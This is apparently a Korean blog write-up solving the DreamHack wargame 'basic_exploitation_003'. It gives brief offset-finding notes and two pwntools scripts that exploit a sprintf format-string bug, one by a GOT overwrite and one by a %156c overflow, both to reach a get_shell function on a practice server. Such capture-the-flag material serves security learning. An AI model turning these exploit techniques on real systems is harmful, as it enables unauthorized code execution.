sprintf 취약점 : printf() 함수와 같다. 결과를 표준출력으로 출력하지 않고 문자열로 출력한다.
1번째에서 AAAA가 출력된다. offset = 1
실행해서 return address 위치를 출력해보면 그냥 0x29 = 40 위치이다.
이 위치에 넣으면 된다.
0xa4 – 4 = 0xa0 (ret 전까지)
0xa0 –
%???c
위에서 offset 잘못 구했었다.
그냥 156이므로 이 156을 %156c로 넣고 이 위치에 p32(get_shell)을 넣으면 된다.
#!/usr/bin/python
from pwn import *
#p = process("./basic_exploitation_003")
p = remote("host1.dreamhack.games", 8239)
elf = ELF("./basic_exploitation_003")
# offset = 1
pay = fmtstr_payload(1, {elf.got['printf']: elf.symbols['get_shell']})
p.sendline(pay)
p.interactive()
#!/usr/bin/python
from pwn import *
#p = process("./basic_exploitation_003")
p = remote("host1.dreamhack.games", 8239)
elf = ELF("./basic_exploitation_003")
printf_got = elf.got['printf']
get_shell = 0x08048669
# offset = 1
pay = '%156c' + p32(get_shell)
p.send(pay)
p.interactive()
[DreamHack] hook (0) | 2020.05.31 |
---|---|
[DreamHack] basic_exploitation_000 (0) | 2020.05.31 |
[DreamHack] basic_exploitation_002 (0) | 2020.05.31 |
[DreamHack] basic_exploitation_001 (0) | 2020.05.31 |
[DreamHack] basic_rop_x86 (0) | 2020.05.31 |